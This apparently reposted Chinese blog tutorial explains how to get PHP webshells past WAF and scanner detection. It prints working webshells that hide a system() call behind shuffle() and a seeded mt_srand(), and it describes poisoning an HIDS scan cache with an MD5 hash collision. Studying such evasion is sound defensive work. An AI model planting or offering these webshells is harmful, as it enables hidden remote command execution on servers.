当前位置: 首页 > news >正文

【网络安全】Webshell的绕过——绕过动态检测引擎WAF-缓存绕过(Hash碰撞)

目录

一、前言

二、环境

三、了解动态检测引擎

3.1 shuffle — 打乱数组

3.2 mt_srand — 播下一个更好的随机数发生器种子

四、缓存导致的绕过【hash碰撞】

五、总结


一、前言

        在渗透测试过程中,成功获取 WebShell 时难免遇到 Web 应用防火墙(WAF)的拦截。今天就来研究一下 WAF 的核心防护机制之一动态检测引擎的工作原理及对应的缓存绕过技术。

二、环境

        Ubuntu 20.04.6 + Windows10 + 安全狗 + 河马查杀

三、了解动态检测引擎

        首先需要了解一下查杀引擎,查杀引擎一般分为两种,一个是静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则。动态检测引擎是可以通过打断污点追踪从而绕过 waf 。接下来对师傅们分享的某比赛中绕过动态检测引擎的 webshell 样本进行分析。感受一下 webshell 经过变形绕过 waf 的案例。

3.1 shuffle — 打乱数组

        很简单的一个webshell,绕过原理是通过 shuffle 函数打乱只有两个元素的数组。有可能shuffle 函数被当作了清洗函数,从而打断了污点追踪。

<?php 
$a = array("t", "system");shuffle($a);$a[0]($_GET[1]);

        可以看到已经执行了系统命令,并且绕过了安全狗和河马查杀。但是这个样本不能够稳定触发。下面来看一下大佬升级后的样本。

3.2 mt_srand — 播下一个更好的随机数发生器种子

       mt_srand 函数:播下一个更好的随机数发生器种子。我们通过打印调试来看一下这个函数具体是怎么利用的。

<?php$seed = '123';
mt_srand($seed);
$arr = array('t','system','vvx','789');
shuffle($arr);
print_r($arr);

        多刷新几次发现我们的数组被定下了,没有进行随机排序了。那就意味着定义好种子后就能够稳定触发了。

        看一下升级后的 webshell 如何利用。mt_srand($_GET[0]) 应该传什么值,通过打印调试后传参$_GET[0]需要传参11111 ,$_GET[1]传参执行的命令即可执行任意命令。

<?php$arr = array("t", "index", "web", "system");function shift(&$arr){mt_srand($_GET[0]);shuffle($arr);}shift($arr);$arr[2]($_GET[1]);

四、缓存导致的绕过【hash碰撞】

        在基于C/S架构部署的大规模HIDS集群中,在检测Web文件过程首先需要 根据后缀采集文件然后进入到分拣器,通过 webshell检测引擎 产生的分析结果上报至 Master 节点 进行汇聚、关联分析及最终裁决,之后将最终结果 持久化存储 入库。如果已经检测过的文件,缓存检测结果,下次不再检测。

        什么是IDS(入侵检测系统):IDS 是“入侵检测系统”的缩写,是指旨在检测未授权访问内部网络的迹象并通知管理员的硬件或软件。

根据实现方式,IDS 可分为以下两种类型:

  • 基于主机的入侵检测系统 (HIDS): HIDS 作为软件安装在受保护的计算机上,通过监控操作系统日志等日志来检测入侵。
  • 基于网络的入侵检测系统 (NIDS): NIDS 作为受保护计算机网络段中的专用设备进行部署,可监控网络流量中是否存在未经授权的活动。 NIDS 通常更适合有效监控整个内部网络。

        那么如果分拣器发现一个文件以前已经检测过,就可以直接把结果返回给 master节点。我们想绕过这里的判断,思路就是:把一个恶意文件,缓存成一个正常文件。

        如果我们创建两个文件一个 .js 和 .php 内容相同,文件名相同。会是怎么样的?

当在Java中写php的恶意语句会被报毒吗?显然不会,因为根本执行不了。但是会缓存进去,缓存的是 MD5 值。那如果我在写一个文件是 web.php 两个文件的 MD5 值是一样的呢?是不是就会放行了? 

如果两个文件的 MD5 值相同应该怎么办?我们来看一下这两个文件的 MD5 值是什么。

        发现 MD5 值是一样的,因为 MD5 值检测的是name,那么这个是有办法进行绕过的。当我们利用哈希碰撞。既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。那么如何生成两个hash相同的文件? 

GitHub - corkami/collisions: Hash collisions and exploitations

        如果构造一个恶意的.php文件和一个正常的.php文件。但是它们的hash值一样就能够实现绕过。当使用hash碰撞的方法就能够实现两个不同文件 MD5 值相同。(因电脑配置原因,需要跑出来的时间太久,看一下大佬跑出来的最终结果)

五、总结

        本章学习了查杀引擎的原理,了解到了动态和静态的检测流程,动态引擎通过用户的输入源进行不断的追踪,直到经过清洗函数或者报错就能够打断污点追踪。或者是经过了清洗函数从而绕过waf。还有在HIDS中,一个Web文件的整个数据轮转过程中,可能会出现HIDS的薄弱点,今天通过缓存思路来绕过了webshell检测引擎

http://www.lryc.cn/news/624000.html

相关文章:

  • 什么是GD库?PHP中7大类64个GD库函数用法详解
  • 日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书,共120语法(3):21-30语法
  • 【AI论文】序曲(PRELUDE):一项旨在考察对长文本语境进行全局理解与推理能力的基准测试
  • PHP静态类self和static用法
  • 6-服务安全检测和防御技术
  • Tomcat Service 服务原理
  • Coin与Token的区别解析
  • java八股文-(spring cloud)微服务篇-参考回答
  • C语言基础:(十六)深入理解指针(6)
  • Centos 更新/修改宝塔版本
  • Rust 入门 生命周期(十八)
  • react echarts图表监听窗口变化window.addEventListener(‘resize’)与ResizeObserver()
  • 音乐创作魔法:解锁和弦与旋律的变化技巧
  • 3D打印——给开发板做外壳
  • 如何做HTTP优化
  • 【JAVA 核心编程】面向对象高级:类变量与方法 抽象类与接口
  • PowerPoint和WPS演示让多个对象通过动画同时出现
  • NY270NY273美光固态闪存NY277NY287
  • Portkey-AI gateway 的一次“假压缩头”翻车的完整排障记:由 httpx 解压异常引发的根因分析
  • duiLib 解决点击标题栏中按钮无响应问题
  • C# 反射和特性(自定义特性)
  • 健身房预约系统SSM+Mybatis实现(三、校验 +页面完善+头像上传)
  • RISC-V汇编新手入门
  • 【LeetCode】单链表经典算法:移除元素,反转链表,约瑟夫环问题,找中间节点,分割链表
  • 开发指南132-DOM的宽度、高度属性
  • HTTP0.9/1.0/1.1/2.0
  • SWE-bench:真实世界软件工程任务的“试金石”
  • 人工智能入门②:AI基础知识(下)
  • C++入门自学Day11-- String, Vector, List 复习
  • 如何利用gemini-cli快速了解一个项目以及学习新的组件?